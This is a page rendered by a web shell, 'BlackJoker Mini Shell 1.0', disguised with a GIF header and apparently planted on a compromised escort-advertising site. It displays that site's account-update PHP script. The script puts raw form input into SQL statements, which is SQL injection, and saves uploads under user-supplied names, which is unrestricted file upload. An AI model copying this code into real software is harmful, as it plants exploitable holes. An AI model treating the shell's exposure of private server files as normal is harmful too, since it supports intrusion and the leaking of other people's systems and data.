GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/myaccountprocess.php

<?
session_start();

	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
							$date=date('Y-m-d');					
							
							//$mont=explode('/',$_POST['dob']);
							//$incidentdt=$mont[2].'-'.$mont[0].'-'.$mont[1];
							//echo $mont[0];
							
					$srcc=addslashes($_POST['source']);	
					$url=$_POST['webpage'];	
					
					if (false === strpos($url, '://')) {
							$websit = 'http://' . $url;
						}
						else
						{
							$websit=$_POST['webpage'];
						}
						
					$fav=$_POST['fav'];					 
					if($_POST['updateemail'])
						{
							$upemail='Yes';
						}
						if($_POST['travel'])
						 {
							$travel='Yes'; 
						 }
						if($_POST['couple'])
						 {
							$couple='Yes';		
						 }
						if($_POST['duoStatus'])
						 {
							$duos='Yes'; 
						 }
						
						if($_POST['meetingman'])
						{
							$mtman=$_POST['meetingman'];
						}
						if($_POST['meetingwm'])
						{
							$mtwm=$_POST['meetingwm'];
						}
						if($_POST['meetingcup'])
						{
							$mtcup=$_POST['meetingcup'];
						}
						if($_POST['meetingtrans'])
						{
							$mttrans=$_POST['meetingtrans'];
						}
						if($_post['meetinggay'])
						{
							$mtgay=$_POST['meetinggay'];
						}
						if($_POST['meetingtwoplus'])
						{
							$mttwoplus=$_POST['meetingtwoplus'];
						}
						if($_POST['updtphone'])
						 {
							$upphone='Yes'; 
						 }
						 if($_POST['viver'])
						  {
							  $viver='Yes';
						  }
						 if($_POST['whatsapp'])
						 	{
								$whatapps='Yes';	
								
							}
						if($_POST['hiddennumber'])
							{
								$hidephone='Yes';	
							}
						if($_POST['pstar'])
							{
							 $pornstar='Yes';	
							}
						if($_POST['bdms'])
						{
							$bdms='Yes';	
						}
						if($_POST['massage'])
							{
								$massage='Yes';	
							}
							
						if($_POST['visitor_country']=='US')
							{
								$sql_state="SELECT * FROM states Where id='".$_POST['prlState']."'";
                                $res_state=execute_query($sql_state);
                                $row_state=mysql_fetch_array($res_state);
								
								$statename=$row_state['name'];
								$cityname=$_POST['prlCities'];
							}
						else
							{
								
								 $statename=$_POST['visitor_state'];						
								
								 $cityname=$_POST['visitor_city'];
								 
							}
								
								
							
							
							
							
							
		$travelarea="";
		if($_POST['usa'])
		{
			$travelarea=$_POST['usa'].",";
		}
		if($_POST['scandinavia'])
		{
			$travelarea=$travelarea.$_POST['scandinavia'].",";
		}
		if($_POST['asia'])
		{
			$travelarea=$travelarea.$_POST['asia'].",";
		}
		if($_POST['Canada'])
		{
			$travelarea=$travelarea.$_POST['Canada'].",";
		}
		if($_POST['westerneurope'])
		{
			$travelarea=$travelarea.$_POST['westerneurope'].",";
		}
		if($_POST['africa'])
		{
			$travelarea=$travelarea.$_POST['africa'].",";
		}
		if($_POST['Caribbean'])
		{
			$travelarea=$travelarea.$_POST['Caribbean'].",";
		}
		if($_POST['easterneurope'])
		{
			$travelarea=$travelarea.$_POST['easterneurope'].",";
		}
		if($_POST['Middleeast'])
		{
			$travelarea=$travelarea.$_POST['Middleeast'].",";
		}
		
		if($_POST['latinamerica'])
		{
			$travelarea=$travelarea.$_POST['latinamerica'].",";
		}
		if($_POST['australia'])
		{
			$travelarea=$travelarea.$_POST['australia'].",";
		}
							
			 if($_FILES['avt_image']['tmp_name'])
			{
				$manu_imagename1=time().$_FILES['avt_image']['name'];
				move_uploaded_file($_FILES['avt_image']['tmp_name'],'avtar/'.$manu_imagename1);
			}	
			 if($_FILES['avt_image2']['tmp_name'])
			{
				$manu_imagename12=time().$_FILES['avt_image2']['name'];
				move_uploaded_file($_FILES['avt_image2']['tmp_name'],'avtar/'.$manu_imagename12);
			}	
			 if($_FILES['avt_image3']['tmp_name'])
			{
				$manu_imagename13=time().$_FILES['avt_image3']['name'];
				move_uploaded_file($_FILES['avt_image3']['tmp_name'],'avtar/'.$manu_imagename13);
			}				
			 if($_FILES['avt_image4']['tmp_name'])
			{
				$manu_imagename14=time().$_FILES['avt_image4']['name'];
				move_uploaded_file($_FILES['avt_image4']['tmp_name'],'avtar/'.$manu_imagename14);
			}					
				
			$ad_videoname = "";	
			 if($_FILES['ad_video']['tmp_name'])
			{
				$ad_videoname=time().$_FILES['ad_video']['name'];
				move_uploaded_file($_FILES['ad_video']['tmp_name'],'avtar/'.$ad_videoname);
			}				
					///escort_state='$statename',					
					//escort_city='$cityname',country_name='".$_POST['visitor_country']."',		
							
							
					$desp=addslashes($_POST['aboutme']);
					$slogan=addslashes($_POST['slogan']);
					
					
					
					
					if($_POST['postid'])
					 {
							if(($_POST['prlCities']=='-1') && ($_POST['visitor_city']==""))
								{
									
									
									 $statenamee=$_POST['ptstate'];
									
									 $citynamee=$_POST['ptcity'];
									 $countrynamee=$_POST['ptcountry'];
																	
								}
								else
								{
									
									if($_POST['visitor_country']=='US')
											{
												$sql_state="SELECT * FROM states Where id='".$_POST['prlState']."'";
												$res_state=execute_query($sql_state);
												$row_state=mysql_fetch_array($res_state);
												
												$statenamee=$row_state['name'];
												$citynamee=$_POST['prlCities'];
												$countrynamee=$_POST['visitor_country'];
												
											}
										else
											{
												
												 $statenamee=$_POST['visitor_state'];
												 $citynamee=$_POST['visitor_city'];
												 $countrynamee=$_POST['visitor_country'];
												 
											}
									 
								 }
					
												
						
						 $updateaccount="UPDATE escort_details SET nickname='".$_POST['nickname']."',slogan='$slogan',website='$websit',
					skype='".$_POST['skype']."',escort_city='$citynamee',escort_state='$statenamee',country_name='$countrynamee',
					email='".$_POST['email']."',
					update_email='$upemail',
					address='',					
					gender='".$_POST['gender']."',
					travel='$travel',
					couples='$couple',	
					age='".$_POST['ageDtls']."',
					ethencity='".$_POST['ethnicity']."',
					orientation='".$_POST['orientation']."',
					duos='$duos',					
					nationality='".$_POST['nationality']."',
					shaved='',
					language='".$_POST['language']."',
					height='".$_POST['height']."',
					weight='".$_POST['weight']."',
					tits='".$_POST['tits']."',
					pussy='".$_POST['pussy']."',
					eye_color='".$_POST['eye_color']."',
					hair_color='".$_POST['hair_color']."',
					meeting_men='$mtman',					
					meeting_wm='$mtwm',
					meeting_cup='$mtcup',
					meeting_trans='$mttrans',			
					meeting_gays='$mtgay',
					meeting_two='$mttwoplus',
					tel_national='".$_POST['phnumber']."',					
					update_tele='$upphone',					
					whatsapps='$whatapps',
					instruction='".$_POST['instruction']."',					
					hidden_phone='$hidephone',
					pornstar='$pornstar',
					pornstar_name='".$_POST['pornName']."',
					bdms='$bdms',
					partner='".$_POST['partnername']."',
					incall='".$_POST['incall']."',
					outcall='".$_POST['outcall']."',
					massage='$massage',
					description='$desp',updatedate='$date',travel_area='$travelarea',receive_email='".$_POST['receiveemail']."',vid_you2='".$ad_videoname."' where id='".$_POST['postid']."'";
					
					execute_query($updateaccount);
					
					$sql_follower="SELECT * FROM favourites where postid='".$_POST['postid']."'";
					$res_follower=execute_query($sql_follower);
					$num_follower=mysql_num_rows($res_follower);
					if($num_follower>0)
					 {
						while($row_follower=mysql_fetch_array($res_follower))
						{
						
						  $insert_noti="INSERT INTO notification(id,postid,follower_id,update_type,up_date,status)values('','".$row_follower['postid']."','".$row_follower['follower_id']."','Edit Profile','$date','u')";
						  execute_query($insert_noti); 
						}
					 }
					
					
					
					
					
					if($_SESSION['acctype']=='agency')
						{		
						?>
							<script language="javascript">
								alert ('Profile is Updated Successfuly');
								location.href="agency-escorts.php";
							</script>
						<? }
						else
						{?>
							<script language="javascript">
								location.href="myaccount.php?msg=23";
							</script>
						<? }
			
					
						 
					 }
					
			
	

./BlackJoker Mini Shell 1.0